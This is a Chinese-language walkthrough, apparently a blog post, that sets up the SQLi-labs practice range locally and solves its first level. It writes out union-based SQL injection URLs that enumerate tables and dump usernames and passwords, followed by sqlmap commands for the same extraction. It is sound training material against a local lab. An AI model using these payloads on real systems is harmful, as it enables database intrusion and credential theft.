目录
一、SQL-LAB靶场搭建
1、搭建环境
2、开启nginx和mysql
3、将下载好的sal-labs靶场将压缩文件解压至phpstudy的www目录下
4、查看mysql密码,将其修改值靶场配置文件中
5、配置网站
6、完成后我们就可以在浏览器输入127.0.0.1:8090进入靶场
二、sql-lab靶场闯关
第一关:
1、查看是否有注入
2、查看数组数据
3、联合查询
(1)查看表列是否相同**
(2)联合查询
查询数据库名:
打印断点调试:
同时查看mysql版本号:
查看当前用户权限:
4、查询数据库下所有表名
三、使用sqlmap工具进行注入
1、打开Windows自带命令窗口,进入相应的目录
2、 执行其中的sqlmap.py
3、 使用sqlmap 对第一关进行漏洞检测
4、查询数据库
5、查看权限
6、查看security数据库下的表
7、 查表下的列
8、查最终字段
php小皮面板下载:小皮面板(phpstudy) - 让天下没有难配的服务器环境!
具体配置教程:VScode的PHP远程调试模式Xdebug_奈何@_@的博客-CSDN博客
sql-lab安装包我已经上传资源,可以自行下载
打开小皮网站,找一个没有使用的端口作为网站端口,然后把靶场文件作为网站根目录
注意:最好使用5.xxx版本,实测7.xxx版本无法使用
点击:Setup/reset Database for labs,对靶场需要的数据进行初始化,会自动创建好靶场所需要的数据库内容。初始化完成后就可以愉快的开始闯关了。
思路:逃逸单引号,闭合单引号
联合查询 —— union
and查询——and
得到管理员用户名和密码——前提:处于那个数据库下,那个表下,那个字段里面
http://127.0.0.1:8090/Less-1/?id=1''
前置条件——两个表,列相同
order by——排序函数(可用1代表第一列,一次类推)
mysqsl注释方法
单行注释
--
#
多行注释
//
/* */
从第一列开始一次测试:
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%201--+
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%202--+
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%203--+
前三列均正常:
直到第四列开始无法识别:
http://127.0.0.1:8090/Less-1/?id=1%27%20order%20by%204--+
可见第三列正常,第四列不正常,由此判断前三列的列表相同
http://127.0.0.1:8090/Less-1/?id=1%27%20union%20select%201,2,3
这里为什么出现问题呢?由此引出union联合查询的规则
注意:union联合查询遵循前假后真原则:当前一个查询结果为真时,后续查询则拒绝执行
解决方法:将id=1更改为id = -1,使之无法查询
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,2,3--+
可以确定username在2字段,password在3字段
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,database(),3--+
可见前端已经将数据库打印并显示出来
此时查询数据成为2,3字段
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,database(),version()--+
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,user(),version()--+
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27--+
查看这四个表,猜测其中user的重要性最高,我们首先来查看user表
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%27security%27and%20table_name=%27users%27--+
可见user表中id,username,password
使用group_concat函数user表内查询user 和password
group_concat函数:可查询多行数据
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,group_concat(username,0x3a,password),3%20from%20users--+
由此查出username和password的具体数据:
也可以单独查询username和password
username:
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,username,3%20from%20users--+
password:
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,password,3%20from%20users--+
也可以使用concat函数查询
concat函数:可查询单行数据
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users--+
可以使用limit 1,1来将查询数据进行多行显示,有几行就写几个1
http://127.0.0.1:8090/Less-1/?id=-1%27%20union%20select%201,concat(username,0x3a,password),3%20from%20users%20limit%201--+
D:\software\computing\Program\Python311
python sqlmap/sqlmap.py
python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1
python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 --dbs
python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 --current-user
python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security --tables
python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security -T users --columns
python sqlmap/sqlmap.py -u http://127.0.0.1:8090/Less-1/?id=-1 -D security -T users --dump "username,password"